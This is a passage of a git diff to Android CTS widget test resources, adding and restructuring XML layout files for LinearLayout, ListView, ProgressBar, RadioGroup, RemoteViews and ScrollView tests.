-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="left"
-            android:text="@string/vertical_text_1"/>
-
-        <TextView android:id="@+id/gravity_center_horizontal"
-            android:background="#FF0000FF"
-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="center_horizontal"
-            android:text="@string/vertical_text_2"/>
-
-        <TextView android:id="@+id/gravity_right"
-            android:background="#FF00FF00"
-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="right"
-            android:text="@string/vertical_text_3"/>
-    </LinearLayout>
-
-    <LinearLayout android:id="@+id/weightsum"
-        android:orientation="horizontal"
-        android:weightSum="1.0"
-        android:baselineAligned="false"
-        android:layout_width="100dip"
-        android:layout_height="100dip"
-        android:background="#FF909090">
-
-        <TextView android:id="@+id/weight_0_2"
-            android:background="#FF0000FF"
-            android:layout_width="0dip"
             android:layout_height="wrap_content"
-            android:layout_weight="0.2"
-            android:text="@string/horizontal_text_1"/>
+            android:orientation="vertical"
+            android:baselineAlignedChildIndex="1"
+            android:background="#F00">
 
-        <TextView android:id="@+id/weight_0_5"
-            android:background="#FFF00F0F"
-            android:layout_width="0dip"
-            android:layout_height="wrap_content"
-            android:layout_weight="0.5"
-            android:text="@string/horizontal_text_2"/>
+            <TextView
+                android:id="@+id/textview1"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="left"
+                android:background="#0F0"
+                android:text="@string/vertical_text_1" />
 
-        <TextView android:id="@+id/weight_0_3"
-            android:background="#FF0000FF"
-            android:layout_width="0dip"
-            android:layout_height="wrap_content"
-            android:layout_weight="0.3"
-            android:text="@string/horizontal_text_3"/>
+            <TextView
+                android:id="@+id/textview2"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="center_horizontal"
+                android:background="#00F"
+                android:text="@string/vertical_text_2" />
+
+            <TextView
+                android:id="@+id/textview3"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="right"
+                android:background="#0F0"
+                android:text="@string/vertical_text_3" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_vertical_with_divider"
+            android:layout_width="100px"
+            android:layout_height="100px"
+            android:orientation="vertical"
+            android:background="#FF0"
+            android:showDividers="middle"
+            android:divider="@drawable/linear_layout_divider_red"
+            android:dividerPadding="@dimen/linear_layout_divider_padding">
+
+            <View
+                android:id="@+id/child1"
+                android:layout_width="match_parent"
+                android:layout_height="0dip"
+                android:layout_weight="0.5"
+                android:background="#00F" />
+
+            <View
+                android:id="@+id/child2"
+                android:layout_width="match_parent"
+                android:layout_height="0dip"
+                android:layout_weight="0.5"
+                android:background="#0F0" />
+
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_horizontal_with_divider"
+            android:layout_width="100px"
+            android:layout_height="100px"
+            android:orientation="horizontal"
+            android:background="#FF0"
+            android:showDividers="middle"
+            android:divider="@drawable/linear_layout_divider_red"
+            android:dividerPadding="@dimen/linear_layout_divider_padding">
+
+            <View
+                android:id="@+id/child1"
+                android:layout_width="0dip"
+                android:layout_height="match_parent"
+                android:layout_weight="0.5"
+                android:background="#00F" />
+
+            <View
+                android:id="@+id/child2"
+                android:layout_width="0dip"
+                android:layout_height="match_parent"
+                android:layout_weight="0.5"
+                android:background="#0F0" />
+
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_empty"
+            android:layout_width="100px"
+            android:layout_height="100px" />
+
+        <view
+            class="android.widget.cts.LinearLayoutTest$MockLinearLayout"
+            android:id="@+id/linear_custom"
+            android:layout_width="100px"
+            android:layout_height="100px" />
     </LinearLayout>
-
-    <LinearLayout android:id="@+id/baseline_aligned_child_index"
-        android:orientation="vertical"
-        android:baselineAlignedChildIndex="1"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:background="#FFFF0909">
-
-        <TextView android:id="@+id/textview1"
-            android:background="#FF00FF00"
-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="left"
-            android:text="@string/vertical_text_1"/>
-
-        <TextView android:id="@+id/textview2"
-            android:background="#FF0000FF"
-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="center_horizontal"
-            android:text="@string/vertical_text_2"/>
-
-        <TextView android:id="@+id/textview3"
-            android:background="#FF00FF00"
-            android:layout_width="wrap_content"
-            android:layout_height="20dip"
-            android:layout_gravity="right"
-            android:text="@string/vertical_text_3"/>
-    </LinearLayout>
-
-</LinearLayout>
+</ScrollView>
diff --git a/tests/tests/widget/res/layout/linearlayout_layout2.xml b/tests/tests/widget/res/layout/linearlayout_layout2.xml
new file mode 100644
index 0000000..14d8b46
--- /dev/null
+++ b/tests/tests/widget/res/layout/linearlayout_layout2.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/linearlayout_root"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical" />
diff --git a/tests/tests/widget/res/layout/listitemfixed_layout.xml b/tests/tests/widget/res/layout/listitemfixed_layout.xml
new file mode 100644
index 0000000..fe8858f
--- /dev/null
+++ b/tests/tests/widget/res/layout/listitemfixed_layout.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@android:id/text1"
+    android:layout_width="match_parent"
+    android:layout_height="@dimen/listrow_height"
+    android:gravity="center_vertical"
+    android:textSize="24sp"
+    android:textColor="#000" />
diff --git a/tests/tests/widget/res/layout/listview_layout.xml b/tests/tests/widget/res/layout/listview_layout.xml
index ee8b6de..3094a89 100644
--- a/tests/tests/widget/res/layout/listview_layout.xml
+++ b/tests/tests/widget/res/layout/listview_layout.xml
@@ -14,33 +14,48 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:layout_height="match_parent">
 
-    <TextView android:id="@+id/headerview1"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/header_view" />
-
-    <TextView android:id="@+id/headerview2"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/header_view" />
-
-    <ListView android:id="@+id/listview_default"
+    <!-- This child is marked as GONE so that it won't interfere with the visuals of our
+         ListView on the screen. It's here to "hold" views that will be used as headers and
+         footers for the relevant tests. -->
+    <FrameLayout
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"/>
-
-    <TextView android:id="@+id/footerview1"
-        android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/footer_view" />
+        android:visibility="gone">
 
-    <TextView android:id="@+id/footerview2"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/footer_view" />
-</LinearLayout>
+        <TextView
+            android:id="@+id/headerview1"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/header_view" />
+
+        <TextView
+            android:id="@+id/headerview2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/header_view" />
+
+        <TextView
+            android:id="@+id/footerview1"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/footer_view" />
+
+        <TextView
+            android:id="@+id/footerview2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/footer_view" />
+    </FrameLayout>
+
+    <ListView
+        android:id="@+id/listview_default"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+
+</FrameLayout>
 
diff --git a/tests/tests/widget/res/layout/listviewfixed_layout.xml b/tests/tests/widget/res/layout/listviewfixed_layout.xml
new file mode 100644
index 0000000..8b20169
--- /dev/null
+++ b/tests/tests/widget/res/layout/listviewfixed_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <ListView
+        android:id="@+id/listview_default"
+        android:layout_width="300dp"
+        android:layout_height="300dp"
+        android:divider="@null"
+        android:dividerHeight="0px"
+        android:background="#80FF0000"/>
+
+</FrameLayout>
+
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
new file mode 100644
index 0000000..2e370d8
--- /dev/null
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <NumberPicker
+        android:id="@+id/number_picker"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/pointer_icon_layout.xml b/tests/tests/widget/res/layout/pointer_icon_layout.xml
new file mode 100644
index 0000000..605eed2
--- /dev/null
+++ b/tests/tests/widget/res/layout/pointer_icon_layout.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/top"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Button"/>
+
+    <ImageButton
+        android:id="@+id/image_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/icon_green"/>
+
+    <Spinner
+        android:id="@+id/spinner"
+        android:layout_width="match_parent"
+        android:layout_height="20dp"/>
+
+    <TabHost
+        android:id="@android:id/tabhost"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <TabWidget
+            android:id="@android:id/tabs"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <FrameLayout
+            android:id="@android:id/tabcontent"
+            android:layout_width="match_parent"
+            android:layout_height="0dp"/>
+
+    </TabHost>
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/progressbar_layout.xml b/tests/tests/widget/res/layout/progressbar_layout.xml
index a1786b8..e51684a 100644
--- a/tests/tests/widget/res/layout/progressbar_layout.xml
+++ b/tests/tests/widget/res/layout/progressbar_layout.xml
@@ -14,28 +14,54 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="match_parent"
+    android:fillViewport="true">
 
-    <ProgressBar
-        android:id="@+id/progress_tint"
-        android:progressTint="@android:color/white"
-        android:progressTintMode="src_over"
-        android:progressBackgroundTint="@android:color/white"
-        android:progressBackgroundTintMode="src_over"
-        android:secondaryProgressTint="@android:color/white"
-        android:secondaryProgressTintMode="src_over"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        style="@android:style/Widget.ProgressBar.Horizontal" />
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
 
-    <ProgressBar
-        android:id="@+id/indeterminate_tint"
-        android:indeterminateTint="@android:color/white"
-        android:indeterminateTintMode="src_over"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        style="@android:style/Widget.ProgressBar.Large" />
+        <ProgressBar
+            style="@android:style/Widget.Material.Light.ProgressBar"
+            android:id="@+id/progress"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
 
-</LinearLayout>
+        <ProgressBar
+            style="@android:style/Widget.Material.Light.ProgressBar.Horizontal"
+            android:id="@+id/progress_horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+
+        <ProgressBar
+            style="@android:style/Widget.Material.Light.ProgressBar.Horizontal"
+            android:id="@+id/progress_tint"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:progressTint="@android:color/white"
+            android:progressTintMode="src_over"
+            android:progressBackgroundTint="@android:color/white"
+            android:progressBackgroundTintMode="src_over"
+            android:secondaryProgressTint="@android:color/white"
+            android:secondaryProgressTintMode="src_over" />
+
+        <ProgressBar
+            style="@android:style/Widget.Material.Light.ProgressBar.Large"
+            android:id="@+id/indeterminate_tint"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:indeterminateTint="@android:color/white"
+            android:indeterminateTintMode="src_over" />
+
+        <view
+            class="android.widget.cts.ProgressBarTest$MockProgressBar"
+            style="@android:style/Widget.Material.Light.ProgressBar"
+            android:id="@+id/progress_custom"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+    </LinearLayout>
+</ScrollView>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/radiobutton_layout.xml b/tests/tests/widget/res/layout/radiobutton_layout.xml
new file mode 100644
index 0000000..23c1839
--- /dev/null
+++ b/tests/tests/widget/res/layout/radiobutton_layout.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <RadioButton
+        android:id="@+id/radio_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/hello_world" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/radiogroup_layout.xml b/tests/tests/widget/res/layout/radiogroup_layout.xml
new file mode 100755
index 0000000..9bce731
--- /dev/null
+++ b/tests/tests/widget/res/layout/radiogroup_layout.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RadioGroup
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/radio_group"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    android:layout_weight="0.5"
+    android:layout_gravity="bottom"
+    android:layout_margin="@dimen/radiogroup_margin">
+
+    <RadioButton
+        android:id="@+id/radio_button_0"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/radio_choice_0" />
+
+    <RadioButton
+        android:id="@+id/radio_button_1"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/radio_choice_1" />
+
+    <RadioButton
+        android:id="@+id/radio_button_2"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/radio_choice_2" />
+
+    <RadioButton
+        android:id="@+id/radio_button_3"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/radio_choice_3" />
+
+</RadioGroup>
diff --git a/tests/tests/widget/res/layout/ratingbar_layout.xml b/tests/tests/widget/res/layout/ratingbar_layout.xml
index acc7fa8..b2fb4c7 100644
--- a/tests/tests/widget/res/layout/ratingbar_layout.xml
+++ b/tests/tests/widget/res/layout/ratingbar_layout.xml
@@ -14,18 +14,19 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:orientation="vertical">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
 
-    <RatingBar android:id="@+id/ratingbar_constructor"
+    <RatingBar
+        android:id="@+id/ratingbar_constructor"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
         android:isIndicator="false"
         android:numStars="50"
         android:rating="1.2"
-        android:stepSize="0.2"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_weight="1"/>
+        android:stepSize="0.2" />
 
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/remoteviews_adapter.xml b/tests/tests/widget/res/layout/remoteviews_adapter.xml
new file mode 100644
index 0000000..59115da
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_adapter.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <StackView
+        android:id="@+id/remoteViews_stack"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:gravity="center"
+        android:loopViews="true" />
+    <TextView
+        android:id="@+id/remoteViews_empty"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:gravity="center" />
+    <ListView
+        android:id="@+id/remoteViews_list"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:visibility="gone" />
+</FrameLayout>
+
+
diff --git a/tests/tests/widget/res/layout/remoteviews_adapter_item.xml b/tests/tests/widget/res/layout/remoteviews_adapter_item.xml
new file mode 100644
index 0000000..ec621da
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_adapter_item.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/item"
+    android:layout_width="120dp"
+    android:layout_height="120dp"
+    android:gravity="center"
+    android:textStyle="bold"
+    android:textSize="44sp" />
diff --git a/tests/tests/widget/res/layout/remoteviews_extra.xml b/tests/tests/widget/res/layout/remoteviews_extra.xml
new file mode 100644
index 0000000..6a57ca3
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_extra.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteView_frame_extra"
+    android:layout_width="20dip"
+    android:layout_height="20dip" />
diff --git a/tests/tests/widget/res/layout/remoteviews_good.xml b/tests/tests/widget/res/layout/remoteviews_good.xml
index 8fdbc64..e322d0a 100644
--- a/tests/tests/widget/res/layout/remoteviews_good.xml
+++ b/tests/tests/widget/res/layout/remoteviews_good.xml
@@ -14,43 +14,79 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/remoteViews_good"
-    android:orientation="vertical"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
 
-    <LinearLayout android:id="@+id/remoteView_linear"
+    <LinearLayout
+        android:id="@+id/remoteView_linear"
         android:layout_width="10dip"
         android:layout_height="10dip" />
 
-    <TextView android:id="@+id/remoteView_text"
+    <TextView
+        android:id="@+id/remoteView_label"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
-    <ImageView android:id="@+id/remoteView_image"
+    <TextView
+        android:id="@+id/remoteView_text"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
-    <FrameLayout android:id="@+id/remoteView_frame"
+    <TextView
+        android:id="@+id/remoteView_text_ltr"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layoutDirection="ltr" />
+
+    <TextView
+        android:id="@+id/remoteView_text_rtl"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layoutDirection="rtl" />
+
+    <ImageView
+        android:id="@+id/remoteView_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <FrameLayout
+        android:id="@+id/remoteView_frame"
         android:layout_width="10dip"
         android:layout_height="10dip" />
 
-    <RelativeLayout android:id="@+id/remoteView_relative"
+    <RelativeLayout
+        android:id="@+id/remoteView_relative"
         android:layout_width="10dip"
         android:layout_height="10dip" />
 
-    <AbsoluteLayout android:id="@+id/remoteView_absolute"
+    <AbsoluteLayout
+        android:id="@+id/remoteView_absolute"
         android:layout_width="10dip"
         android:layout_height="10dip" />
 
-    <ProgressBar android:id="@+id/remoteView_progress"
+    <ProgressBar
+        android:id="@+id/remoteView_progress"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         style="?android:attr/progressBarStyleHorizontal" />
 
-    <Chronometer android:id="@+id/remoteView_chronometer"
+    <Chronometer
+        android:id="@+id/remoteView_chronometer"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
-</LinearLayout>
+    <StackView
+        android:id="@+id/remoteView_stack"
+        android:layout_width="100dip"
+        android:layout_height="100dip" />
+
+    <android.widget.cts.MyRemotableView
+        android:id="@+id/remoteView_custom"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/remoteviews_host.xml b/tests/tests/widget/res/layout/remoteviews_host.xml
index ace5903..ed0ba40 100644
--- a/tests/tests/widget/res/layout/remoteviews_host.xml
+++ b/tests/tests/widget/res/layout/remoteviews_host.xml
@@ -14,9 +14,9 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteView_host"
     android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:id="@+id/remoteView_host">
-</LinearLayout>
+    android:layout_height="match_parent">
+</FrameLayout>
diff --git a/tests/tests/widget/res/layout/scrollview_layout.xml b/tests/tests/widget/res/layout/scrollview_layout.xml
index 3c9a474..57547ed 100644
--- a/tests/tests/widget/res/layout/scrollview_layout.xml
+++ b/tests/tests/widget/res/layout/scrollview_layout.xml
@@ -14,92 +14,112 @@
      limitations under the License.
 -->
 
-<android.widget.cts.MyScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/scroll_view"
-    android:layout_width="100dip"
-    android:layout_height="100dip">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
 
-    <LinearLayout
-        android:orientation="vertical"
-        android:layout_width="250dip"
-        android:layout_height="wrap_content">
+    <view
+        class="android.widget.cts.ScrollViewTest$MyScrollView"
+        android:id="@+id/scroll_view_custom"
+        android:layout_width="100dip"
+        android:layout_height="100dip">
 
-        <Button
-            android:id="@+id/first_child"
+        <LinearLayout
+            android:orientation="vertical"
             android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_1"/>
+            android:layout_height="wrap_content">
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:id="@+id/first_child"
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250dip"
